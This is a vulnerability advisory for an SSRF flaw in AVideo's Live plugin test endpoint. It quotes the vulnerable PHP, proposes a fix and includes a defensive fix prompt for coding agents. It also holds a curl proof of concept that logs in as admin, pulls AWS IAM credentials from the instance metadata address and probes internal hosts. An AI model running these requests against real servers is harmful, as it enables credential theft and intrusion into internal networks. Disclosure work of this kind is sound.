# GHSA-wxjx-r2j2-96fx: AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php

> An authenticated admin can exploit an unvalidated URL parameter in the Live plugin to perform Server-Side Request Forgery and read internal network or cloud metadata responses.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 25 Mar 2026

## What is GHSA-wxjx-r2j2-96fx?

GHSA-wxjx-r2j2-96fx is a server-side request forgery vulnerability in wwbn/avideo, published on 25 Mar 2026. An attacker needs administrator access to exploit it, with no action from the victim.

### Official description

## Summary

The `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.

## Details

The vulnerable code path is in `plugin/Live/test.php`:

**User input (line 11):**
```php
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}
```

The regex `/^http/` only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.

**Sink — file_get_contents (line 58-68):**
```php
if (ini_get('allow_url_fopen')) {
    try {
        $tmp = file_get_contents($url, false, $context);
        _log('file_get_contents:: '.htmlentities($tmp));
```

**Sink — curl_exec (line 73-94):**
```php
} elseif (function_exists('curl_init')) {
    $ch = curl_init();
    // ...
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // ...
    $output = curl_exec($ch);
    // ...
    _log('curl_init:: '.htmlentities($output));
```

**Sink — wget (line 114):**
```php
if (wget($url, $filename)) {
    $result = file_get_contents($filename);
    _log('wget:: '.htmlentities($result));
```

All three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160).

The codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it.

Additionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.

The endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).

## PoC

**Step 1: Authenticate as admin and obtain session cookie**
```bash
# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \
  -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')
```

**Step 2: Read AWS cloud metadata (IAM credentials)**
```bash
curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
```

Expected output: HTML page containing the full cloud metadata response including IAM role names.

**Step 3: Read IAM credentials for a specific role**
```bash
curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'
```

Expected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role.

**Step 4: Scan internal services**
```bash
curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'
```

Expected output: Full response from internal service at 192.168.1.1:8080.

## Impact

An authenticated admin can:

- **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.
- **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.
- **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content.
- **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server's IP address.

The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.

## Recommended Fix

Add `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15:

```php
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}

// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {
    _log('URL failed SSRF safety check: ' . htmlentities($statsURL));
    exit;
}
```

Additionally, enable SSL verification in the curl handler (lines 79-80):

```php
// Replace:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// With:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
```

And in the stream context (lines 45-49):

```php
// Replace:
"ssl" => [
    "verify_peer" => false,
    "verify_peer_name" => false,
    "allow_self_signed" => true,
],
// With:
"ssl" => [
    "verify_peer" => true,
    "verify_peer_name" => true,
    "allow_self_signed" => false,
],
```

## Which versions are affected by GHSA-wxjx-r2j2-96fx?

2 open source packages ship an affected version, including wwbn/avideo.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `wwbn/avideo` | Packagist | All versions to 26.0 | None |
| `wwbn/avideo` | Packagist | All versions to 26.0 | None |

## How do I fix GHSA-wxjx-r2j2-96fx?

No fix has been published for GHSA-wxjx-r2j2-96fx yet. Limit exposure of the affected software until one is available.

## Is GHSA-wxjx-r2j2-96fx being exploited?

There is no known exploitation of GHSA-wxjx-r2j2-96fx in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-wxjx-r2j2-96fx and fix it if it is affected.

What it is: GHSA-wxjx-r2j2-96fx is a server-side request forgery vulnerability in wwbn/avideo, published on 25 Mar 2026. An attacker needs administrator access to exploit it, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-wxjx-r2j2-96fx in the wild and no public exploit code.

Affected packages and fixed versions:
- wwbn/avideo (Packagist): affected all versions up to 26.0; no fix listed
- wwbn/avideo (Packagist): affected all versions up to 26.0; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/ (Markdown: https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-wxjx-r2j2-96fx

---
From sbomify Insights: https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/
Summaries are generated and may contain mistakes; the official description above is the record.